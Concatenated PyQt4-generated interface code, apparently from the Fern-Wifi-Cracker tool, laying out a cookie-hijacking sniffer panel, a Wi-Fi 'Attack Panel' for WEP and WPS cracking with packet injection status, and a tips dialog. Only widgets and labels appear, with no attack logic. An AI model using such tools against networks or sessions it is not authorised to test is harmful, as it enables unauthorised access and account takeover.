self.ethernet_mode_radio.setText(QtGui.QApplication.translate("cookie_hijacker", "Ethernet Mode", None, QtGui.QApplication.UnicodeUTF8))
self.passive_mode_radio.setToolTip(QtGui.QApplication.translate("cookie_hijacker", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'MS Shell Dlg 2\'; font-size:7pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Use this option if you are not connected to access point</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.passive_mode_radio.setText(QtGui.QApplication.translate("cookie_hijacker", "Passive Mode", None, QtGui.QApplication.UnicodeUTF8))
self.label.setText(QtGui.QApplication.translate("cookie_hijacker", "Gateway IP Address / Router IP Address:", None, QtGui.QApplication.UnicodeUTF8))
self.channel_label.setText(QtGui.QApplication.translate("cookie_hijacker", "Channel:", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.headerItem().setText(0, QtGui.QApplication.translate("cookie_hijacker", " ", None, QtGui.QApplication.UnicodeUTF8))
__sortingEnabled = self.treeWidget.isSortingEnabled()
self.treeWidget.setSortingEnabled(False)
self.treeWidget.topLevelItem(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "192.168.0.1", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(0).child(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "www.google.com", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(0).child(0).child(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "HTTP response", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(0).child(1).setText(0, QtGui.QApplication.translate("cookie_hijacker", "www.twitter.com", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(0).child(1).child(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "HTTP over", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(1).setText(0, QtGui.QApplication.translate("cookie_hijacker", "198.178.23.1", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(1).child(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "www.gmail.com", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.topLevelItem(1).child(0).child(0).setText(0, QtGui.QApplication.translate("cookie_hijacker", "respose server", None, QtGui.QApplication.UnicodeUTF8))
self.treeWidget.setSortingEnabled(__sortingEnabled)
self.cookies_captured_label.setText(QtGui.QApplication.translate("cookie_hijacker", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'MS Shell Dlg 2\'; font-size:8.25pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-weight:600; color:#008000;\">5 Cookies Captured</span></p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.start_sniffing_button.setText(QtGui.QApplication.translate("cookie_hijacker", " Start Sniffing ", None, QtGui.QApplication.UnicodeUTF8))
| Python |
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'C:\Users\SAVIOUR\Desktop\untitled.ui'
#
# Created: Sun Sep 02 13:02:23 2012
# by: PyQt4 UI code generator 4.8.4
#
# WARNING! All changes made in this file will be lost!
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class Ui_attack_panel(object):
def setupUi(self, attack_panel):
attack_panel.setObjectName(_fromUtf8("attack_panel"))
attack_panel.resize(762, 549)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/wifi_4.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
attack_panel.setWindowIcon(icon)
self.verticalLayout_13 = QtGui.QVBoxLayout(attack_panel)
self.verticalLayout_13.setObjectName(_fromUtf8("verticalLayout_13"))
self.general_group_box = QtGui.QGroupBox(attack_panel)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.general_group_box.setFont(font)
self.general_group_box.setTitle(_fromUtf8(""))
self.general_group_box.setObjectName(_fromUtf8("general_group_box"))
self.verticalLayout_12 = QtGui.QVBoxLayout(self.general_group_box)
self.verticalLayout_12.setObjectName(_fromUtf8("verticalLayout_12"))
self.horizontalLayout_7 = QtGui.QHBoxLayout()
self.horizontalLayout_7.setObjectName(_fromUtf8("horizontalLayout_7"))
self.groupBox_2 = QtGui.QGroupBox(self.general_group_box)
self.groupBox_2.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox_2.setFont(font)
self.groupBox_2.setAlignment(QtCore.Qt.AlignCenter)
self.groupBox_2.setFlat(True)
self.groupBox_2.setObjectName(_fromUtf8("groupBox_2"))
self.verticalLayout_9 = QtGui.QVBoxLayout(self.groupBox_2)
self.verticalLayout_9.setObjectName(_fromUtf8("verticalLayout_9"))
self.ap_listwidget = QtGui.QListWidget(self.groupBox_2)
font = QtGui.QFont()
font.setFamily(_fromUtf8("Segoe UI"))
font.setPointSize(9)
self.ap_listwidget.setFont(font)
self.ap_listwidget.setSelectionBehavior(QtGui.QAbstractItemView.SelectItems)
self.ap_listwidget.setMovement(QtGui.QListView.Snap)
self.ap_listwidget.setSpacing(12)
self.ap_listwidget.setViewMode(QtGui.QListView.IconMode)
self.ap_listwidget.setObjectName(_fromUtf8("ap_listwidget"))
icon1 = QtGui.QIcon()
icon1.addPixmap(QtGui.QPixmap(_fromUtf8("../Documents/Projects/SVN Projects/Fern-Wifi-Cracker/resources/radio-wireless-signal-icone-5919-96.png")), QtGui.QIcon.Normal, QtGui.QIcon.Off)
item = QtGui.QListWidgetItem(self.ap_listwidget)
item.setIcon(icon1)
item = QtGui.QListWidgetItem(self.ap_listwidget)
item.setIcon(icon1)
self.verticalLayout_9.addWidget(self.ap_listwidget)
spacerItem = QtGui.QSpacerItem(20, 10, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_9.addItem(spacerItem)
self.line = QtGui.QFrame(self.groupBox_2)
self.line.setFrameShape(QtGui.QFrame.HLine)
self.line.setFrameShadow(QtGui.QFrame.Sunken)
self.line.setObjectName(_fromUtf8("line"))
self.verticalLayout_9.addWidget(self.line)
self.horizontalLayout_7.addWidget(self.groupBox_2)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
spacerItem1 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem1)
self.attack_button = QtGui.QPushButton(self.general_group_box)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.attack_button.setFont(font)
self.attack_button.setIcon(icon)
self.attack_button.setIconSize(QtCore.QSize(28, 27))
self.attack_button.setObjectName(_fromUtf8("attack_button"))
self.verticalLayout_2.addWidget(self.attack_button)
self.automate_checkbox = QtGui.QCheckBox(self.general_group_box)
self.automate_checkbox.setObjectName(_fromUtf8("automate_checkbox"))
self.verticalLayout_2.addWidget(self.automate_checkbox)
spacerItem2 = QtGui.QSpacerItem(20, 50, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_2.addItem(spacerItem2)
self.horizontalLayout_7.addLayout(self.verticalLayout_2)
self.verticalLayout_12.addLayout(self.horizontalLayout_7)
self.groupBox = QtGui.QGroupBox(self.general_group_box)
self.groupBox.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox.setFont(font)
self.groupBox.setObjectName(_fromUtf8("groupBox"))
self.verticalLayout_11 = QtGui.QVBoxLayout(self.groupBox)
self.verticalLayout_11.setObjectName(_fromUtf8("verticalLayout_11"))
self.horizontalLayout_6 = QtGui.QHBoxLayout()
self.horizontalLayout_6.setObjectName(_fromUtf8("horizontalLayout_6"))
spacerItem3 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem3)
self.label_9 = QtGui.QLabel(self.groupBox)
self.label_9.setObjectName(_fromUtf8("label_9"))
self.horizontalLayout_6.addWidget(self.label_9)
self.essid_label = QtGui.QLabel(self.groupBox)
self.essid_label.setObjectName(_fromUtf8("essid_label"))
self.horizontalLayout_6.addWidget(self.essid_label)
spacerItem4 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem4)
self.label_10 = QtGui.QLabel(self.groupBox)
self.label_10.setObjectName(_fromUtf8("label_10"))
self.horizontalLayout_6.addWidget(self.label_10)
self.bssid_label = QtGui.QLabel(self.groupBox)
self.bssid_label.setObjectName(_fromUtf8("bssid_label"))
self.horizontalLayout_6.addWidget(self.bssid_label)
spacerItem5 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem5)
self.label_11 = QtGui.QLabel(self.groupBox)
self.label_11.setObjectName(_fromUtf8("label_11"))
self.horizontalLayout_6.addWidget(self.label_11)
self.channel_label = QtGui.QLabel(self.groupBox)
self.channel_label.setObjectName(_fromUtf8("channel_label"))
self.horizontalLayout_6.addWidget(self.channel_label)
spacerItem6 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem6)
self.label_12 = QtGui.QLabel(self.groupBox)
self.label_12.setObjectName(_fromUtf8("label_12"))
self.horizontalLayout_6.addWidget(self.label_12)
self.power_label = QtGui.QLabel(self.groupBox)
self.power_label.setObjectName(_fromUtf8("power_label"))
self.horizontalLayout_6.addWidget(self.power_label)
spacerItem7 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem7)
self.label_13 = QtGui.QLabel(self.groupBox)
self.label_13.setObjectName(_fromUtf8("label_13"))
self.horizontalLayout_6.addWidget(self.label_13)
self.encrypt_wep_label = QtGui.QLabel(self.groupBox)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.encrypt_wep_label.setFont(font)
self.encrypt_wep_label.setObjectName(_fromUtf8("encrypt_wep_label"))
self.horizontalLayout_6.addWidget(self.encrypt_wep_label)
spacerItem8 = QtGui.QSpacerItem(13, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem8)
self.wps_support_label = QtGui.QLabel(self.groupBox)
self.wps_support_label.setEnabled(False)
self.wps_support_label.setObjectName(_fromUtf8("wps_support_label"))
self.horizontalLayout_6.addWidget(self.wps_support_label)
spacerItem9 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_6.addItem(spacerItem9)
self.verticalLayout_11.addLayout(self.horizontalLayout_6)
self.verticalLayout_12.addWidget(self.groupBox)
self.groupBox_3 = QtGui.QGroupBox(self.general_group_box)
self.groupBox_3.setEnabled(True)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.groupBox_3.setFont(font)
self.groupBox_3.setObjectName(_fromUtf8("groupBox_3"))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.groupBox_3)
self.horizontalLayout_5.setObjectName(_fromUtf8("horizontalLayout_5"))
self.horizontalLayout_4 = QtGui.QHBoxLayout()
self.horizontalLayout_4.setObjectName(_fromUtf8("horizontalLayout_4"))
spacerItem10 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem10)
self.regular_attack_radio = QtGui.QRadioButton(self.groupBox_3)
self.regular_attack_radio.setChecked(True)
self.regular_attack_radio.setObjectName(_fromUtf8("regular_attack_radio"))
self.horizontalLayout_4.addWidget(self.regular_attack_radio)
spacerItem11 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem11)
self.wps_attack_radio = QtGui.QRadioButton(self.groupBox_3)
self.wps_attack_radio.setObjectName(_fromUtf8("wps_attack_radio"))
self.horizontalLayout_4.addWidget(self.wps_attack_radio)
spacerItem12 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem12)
self.horizontalLayout_5.addLayout(self.horizontalLayout_4)
self.verticalLayout_12.addWidget(self.groupBox_3)
self.verticalLayout_8 = QtGui.QVBoxLayout()
self.verticalLayout_8.setObjectName(_fromUtf8("verticalLayout_8"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.verticalLayout_5 = QtGui.QVBoxLayout()
self.verticalLayout_5.setObjectName(_fromUtf8("verticalLayout_5"))
self.associate_label = QtGui.QLabel(self.general_group_box)
self.associate_label.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.associate_label.setFont(font)
self.associate_label.setObjectName(_fromUtf8("associate_label"))
self.verticalLayout_5.addWidget(self.associate_label)
self.injecting_label = QtGui.QLabel(self.general_group_box)
self.injecting_label.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.injecting_label.setFont(font)
self.injecting_label.setObjectName(_fromUtf8("injecting_label"))
self.verticalLayout_5.addWidget(self.injecting_label)
self.gathering_label = QtGui.QLabel(self.general_group_box)
self.gathering_label.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.gathering_label.setFont(font)
self.gathering_label.setObjectName(_fromUtf8("gathering_label"))
self.verticalLayout_5.addWidget(self.gathering_label)
self.cracking_label_2 = QtGui.QLabel(self.general_group_box)
self.cracking_label_2.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.cracking_label_2.setFont(font)
self.cracking_label_2.setObjectName(_fromUtf8("cracking_label_2"))
self.verticalLayout_5.addWidget(self.cracking_label_2)
self.finished_label = QtGui.QLabel(self.general_group_box)
self.finished_label.setEnabled(False)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.finished_label.setFont(font)
self.finished_label.setObjectName(_fromUtf8("finished_label"))
self.verticalLayout_5.addWidget(self.finished_label)
self.horizontalLayout_3.addLayout(self.verticalLayout_5)
self.verticalLayout_7 = QtGui.QVBoxLayout()
self.verticalLayout_7.setObjectName(_fromUtf8("verticalLayout_7"))
self.horizontalLayout_10 = QtGui.QHBoxLayout()
self.horizontalLayout_10.setObjectName(_fromUtf8("horizontalLayout_10"))
spacerItem13 = QtGui.QSpacerItem(248, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_10.addItem(spacerItem13)
self.verticalLayout_6 = QtGui.QVBoxLayout()
self.verticalLayout_6.setObjectName(_fromUtf8("verticalLayout_6"))
spacerItem14 = QtGui.QSpacerItem(200, 20, QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Minimum)
self.verticalLayout_6.addItem(spacerItem14)
self.verticalLayout_10 = QtGui.QVBoxLayout()
self.verticalLayout_10.setObjectName(_fromUtf8("verticalLayout_10"))
self.horizontalLayout_8 = QtGui.QHBoxLayout()
self.horizontalLayout_8.setObjectName(_fromUtf8("horizontalLayout_8"))
self.injection_work_label_2 = QtGui.QLabel(self.general_group_box)
self.injection_work_label_2.setEnabled(False)
self.injection_work_label_2.setAlignment(QtCore.Qt.AlignCenter)
self.injection_work_label_2.setObjectName(_fromUtf8("injection_work_label_2"))
self.horizontalLayout_8.addWidget(self.injection_work_label_2)
self.dictionary_set = QtGui.QPushButton(self.general_group_box)
self.dictionary_set.setObjectName(_fromUtf8("dictionary_set"))
self.horizontalLayout_8.addWidget(self.dictionary_set)
self.verticalLayout_10.addLayout(self.horizontalLayout_8)
self.horizontalLayout_9 = QtGui.QHBoxLayout()
self.horizontalLayout_9.setObjectName(_fromUtf8("horizontalLayout_9"))
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.attack_type_combo = QtGui.QComboBox(self.general_group_box)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Ignored, QtGui.QSizePolicy.Ignored)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.attack_type_combo.sizePolicy().hasHeightForWidth())
self.attack_type_combo.setSizePolicy(sizePolicy)
self.attack_type_combo.setAutoFillBackground(False)
self.attack_type_combo.setSizeAdjustPolicy(QtGui.QComboBox.AdjustToContentsOnFirstShow)
self.attack_type_combo.setDuplicatesEnabled(False)
self.attack_type_combo.setObjectName(_fromUtf8("attack_type_combo"))
self.horizontalLayout_2.addWidget(self.attack_type_combo)
spacerItem15 = QtGui.QSpacerItem(13, 30, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.horizontalLayout_2.addItem(spacerItem15)
self.horizontalLayout_9.addLayout(self.horizontalLayout_2)
spacerItem16 = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.horizontalLayout_9.addItem(spacerItem16)
self.verticalLayout_10.addLayout(self.horizontalLayout_9)
self.verticalLayout_6.addLayout(self.verticalLayout_10)
self.horizontalLayout_10.addLayout(self.verticalLayout_6)
self.verticalLayout_7.addLayout(self.horizontalLayout_10)
self.verticalLayout_4 = QtGui.QVBoxLayout()
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
self.ivs_progress_label = QtGui.QLabel(self.general_group_box)
self.ivs_progress_label.setEnabled(False)
self.ivs_progress_label.setAlignment(QtCore.Qt.AlignCenter)
self.ivs_progress_label.setObjectName(_fromUtf8("ivs_progress_label"))
self.verticalLayout_4.addWidget(self.ivs_progress_label)
self.progressBar = QtGui.QProgressBar(self.general_group_box)
self.progressBar.setProperty(_fromUtf8("value"), 24)
self.progressBar.setTextVisible(False)
self.progressBar.setObjectName(_fromUtf8("progressBar"))
self.verticalLayout_4.addWidget(self.progressBar)
self.verticalLayout_7.addLayout(self.verticalLayout_4)
self.horizontalLayout_3.addLayout(self.verticalLayout_7)
self.verticalLayout_8.addLayout(self.horizontalLayout_3)
spacerItem17 = QtGui.QSpacerItem(20, 10, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Fixed)
self.verticalLayout_8.addItem(spacerItem17)
self.verticalLayout_12.addLayout(self.verticalLayout_8)
self.keys_cracked_label = QtGui.QLabel(self.general_group_box)
self.keys_cracked_label.setAlignment(QtCore.Qt.AlignCenter)
self.keys_cracked_label.setObjectName(_fromUtf8("keys_cracked_label"))
self.verticalLayout_12.addWidget(self.keys_cracked_label)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.wps_pin_label = QtGui.QLabel(self.general_group_box)
font = QtGui.QFont()
font.setPointSize(13)
self.wps_pin_label.setFont(font)
self.wps_pin_label.setAlignment(QtCore.Qt.AlignCenter)
self.wps_pin_label.setObjectName(_fromUtf8("wps_pin_label"))
self.verticalLayout.addWidget(self.wps_pin_label)
self.key_label = QtGui.QLabel(self.general_group_box)
font = QtGui.QFont()
font.setPointSize(13)
self.key_label.setFont(font)
self.key_label.setAlignment(QtCore.Qt.AlignCenter)
self.key_label.setObjectName(_fromUtf8("key_label"))
self.verticalLayout.addWidget(self.key_label)
self.verticalLayout_12.addLayout(self.verticalLayout)
self.verticalLayout_13.addWidget(self.general_group_box)
self.retranslateUi(attack_panel)
QtCore.QMetaObject.connectSlotsByName(attack_panel)
def retranslateUi(self, attack_panel):
attack_panel.setWindowTitle(QtGui.QApplication.translate("attack_panel", "Attack Panel", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox_2.setTitle(QtGui.QApplication.translate("attack_panel", "Select Target Access Point", None, QtGui.QApplication.UnicodeUTF8))
self.ap_listwidget.setSortingEnabled(True)
__sortingEnabled = self.ap_listwidget.isSortingEnabled()
self.ap_listwidget.setSortingEnabled(False)
self.ap_listwidget.item(0).setText(QtGui.QApplication.translate("attack_panel", "Babarere", None, QtGui.QApplication.UnicodeUTF8))
self.ap_listwidget.item(1).setText(QtGui.QApplication.translate("attack_panel", "SwiftNG", None, QtGui.QApplication.UnicodeUTF8))
self.ap_listwidget.setSortingEnabled(__sortingEnabled)
self.attack_button.setText(QtGui.QApplication.translate("attack_panel", "Attack", None, QtGui.QApplication.UnicodeUTF8))
self.automate_checkbox.setToolTip(QtGui.QApplication.translate("attack_panel", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'MS Shell Dlg 2\'; font-size:7pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\">Attack all Access points within range</p></body></html>", None, QtGui.QApplication.UnicodeUTF8))
self.automate_checkbox.setText(QtGui.QApplication.translate("attack_panel", "Automate", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox.setTitle(QtGui.QApplication.translate("attack_panel", "Access Point Details", None, QtGui.QApplication.UnicodeUTF8))
self.label_9.setText(QtGui.QApplication.translate("attack_panel", "<font color=green><b>ESSID:</b></font>", None, QtGui.QApplication.UnicodeUTF8))
self.essid_label.setText(QtGui.QApplication.translate("attack_panel", " Babarere", None, QtGui.QApplication.UnicodeUTF8))
self.label_10.setText(QtGui.QApplication.translate("attack_panel", "<font color=green><b>BSSID:</b></font>", None, QtGui.QApplication.UnicodeUTF8))
self.bssid_label.setText(QtGui.QApplication.translate("attack_panel", "00:CA:30:34:DF:F9", None, QtGui.QApplication.UnicodeUTF8))
self.label_11.setText(QtGui.QApplication.translate("attack_panel", "<font color=green><b>Channel:</b></font>", None, QtGui.QApplication.UnicodeUTF8))
self.channel_label.setText(QtGui.QApplication.translate("attack_panel", "1", None, QtGui.QApplication.UnicodeUTF8))
self.label_12.setText(QtGui.QApplication.translate("attack_panel", "<font color=green><b>Power:</b></font>", None, QtGui.QApplication.UnicodeUTF8))
self.power_label.setText(QtGui.QApplication.translate("attack_panel", "-67", None, QtGui.QApplication.UnicodeUTF8))
self.label_13.setText(QtGui.QApplication.translate("attack_panel", "<font color=green><b>Encryption:</b></font>", None, QtGui.QApplication.UnicodeUTF8))
self.encrypt_wep_label.setText(QtGui.QApplication.translate("attack_panel", "WEP", None, QtGui.QApplication.UnicodeUTF8))
self.wps_support_label.setText(QtGui.QApplication.translate("attack_panel", "Supports WPS", None, QtGui.QApplication.UnicodeUTF8))
self.groupBox_3.setTitle(QtGui.QApplication.translate("attack_panel", "Attack Option", None, QtGui.QApplication.UnicodeUTF8))
self.regular_attack_radio.setText(QtGui.QApplication.translate("attack_panel", "Regular Attack", None, QtGui.QApplication.UnicodeUTF8))
self.wps_attack_radio.setText(QtGui.QApplication.translate("attack_panel", "WPS Attack", None, QtGui.QApplication.UnicodeUTF8))
self.associate_label.setText(QtGui.QApplication.translate("attack_panel", "Associating with Access Point", None, QtGui.QApplication.UnicodeUTF8))
self.injecting_label.setText(QtGui.QApplication.translate("attack_panel", "Gathering Packets", None, QtGui.QApplication.UnicodeUTF8))
self.gathering_label.setText(QtGui.QApplication.translate("attack_panel", "Packet Injection Status", None, QtGui.QApplication.UnicodeUTF8))
self.cracking_label_2.setText(QtGui.QApplication.translate("attack_panel", "Cracking Encryption", None, QtGui.QApplication.UnicodeUTF8))
self.finished_label.setText(QtGui.QApplication.translate("attack_panel", "Finished", None, QtGui.QApplication.UnicodeUTF8))
self.injection_work_label_2.setText(QtGui.QApplication.translate("attack_panel", "Injection Capability Status", None, QtGui.QApplication.UnicodeUTF8))
self.dictionary_set.setText(QtGui.QApplication.translate("attack_panel", "Browse", None, QtGui.QApplication.UnicodeUTF8))
self.ivs_progress_label.setText(QtGui.QApplication.translate("attack_panel", "IVS status", None, QtGui.QApplication.UnicodeUTF8))
self.keys_cracked_label.setText(QtGui.QApplication.translate("attack_panel", "2 Keys Cracked", None, QtGui.QApplication.UnicodeUTF8))
self.wps_pin_label.setText(QtGui.QApplication.translate("attack_panel", "WPS PIN: 192345673", None, QtGui.QApplication.UnicodeUTF8))
self.key_label.setText(QtGui.QApplication.translate("attack_panel", "WEP KEY: 1234567890", None, QtGui.QApplication.UnicodeUTF8))
| Python |
import os
from main_window import font_size
from PyQt4 import QtCore, QtGui
font_setting = font_size()
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
_fromUtf8 = lambda s: s
class tips_dialog(object):
def setupUi(self, tips_dialog):
tips_dialog.setObjectName(_fromUtf8("tips_dialog"))
tips_dialog.resize(405, 152)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1286998882_ktip.png"%(os.getcwd()))), QtGui.QIcon.Normal, QtGui.QIcon.Off)
tips_dialog.setWindowIcon(icon)
self.verticalLayout_4 = QtGui.QVBoxLayout(tips_dialog)
self.verticalLayout_4.setObjectName(_fromUtf8("verticalLayout_4"))
self.verticalLayout_3 = QtGui.QVBoxLayout()
self.verticalLayout_3.setObjectName(_fromUtf8("verticalLayout_3"))
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.label = QtGui.QLabel(tips_dialog)
self.label.setText(_fromUtf8(""))
self.label.setPixmap(QtGui.QPixmap(_fromUtf8("%s/resources/1286998882_ktip.png"%(os.getcwd()))))
self.label.setObjectName(_fromUtf8("label"))
self.horizontalLayout.addWidget(self.label)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.label_2 = QtGui.QLabel(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_2.setFont(font)
self.label_2.setObjectName(_fromUtf8("label_2"))
self.verticalLayout.addWidget(self.label_2)
self.label_3 = QtGui.QLabel(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8("label_3"))
self.verticalLayout.addWidget(self.label_3)
self.label_4 = QtGui.QLabel(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_4.setFont(font)
self.label_4.setObjectName(_fromUtf8("label_4"))
self.verticalLayout.addWidget(self.label_4)
self.label_5 = QtGui.QLabel(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.label_5.setFont(font)
self.label_5.setObjectName(_fromUtf8("label_5"))
self.verticalLayout.addWidget(self.label_5)
self.horizontalLayout.addLayout(self.verticalLayout)
self.verticalLayout_3.addLayout(self.horizontalLayout)
spacerItem = QtGui.QSpacerItem(20, 40, QtGui.QSizePolicy.Minimum, QtGui.QSizePolicy.Expanding)
self.verticalLayout_3.addItem(spacerItem)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.checkBox = QtGui.QCheckBox(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.checkBox.setFont(font)
self.checkBox.setObjectName(_fromUtf8("checkBox"))
self.verticalLayout_2.addWidget(self.checkBox)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
spacerItem1 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem1)
self.pushButton = QtGui.QPushButton(tips_dialog)
font = QtGui.QFont()
font.setPointSize(font_setting)
self.pushButton.setFont(font)
self.pushButton.setObjectName(_fromUtf8("pushButton"))
self.horizontalLayout_2.addWidget(self.pushButton)
spacerItem2 = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem2)
self.verticalLayout_2.addLayout(self.horizontalLayout_2)
self.verticalLayout_3.addLayout(self.verticalLayout_2)
self.verticalLayout_4.addLayout(self.verticalLayout_3)
self.retranslateUi(tips_dialog)
QtCore.QMetaObject.connectSlotsByName(tips_dialog)
def retranslateUi(self, tips_dialog):
tips_dialog.setWindowTitle(QtGui.QApplication.translate("tips_dialog", "Tips - Scan settings", None, QtGui.QApplication.UnicodeUTF8))
self.label_2.setText(QtGui.QApplication.translate("tips_dialog", "To Access the \"Settings\" for the network scan preferences \"Double click\"", None, QtGui.QApplication.UnicodeUTF8))
self.label_3.setText(QtGui.QApplication.translate("tips_dialog", "on any area of the main window, \"Scan for network button\" is used to", None, QtGui.QApplication.UnicodeUTF8))
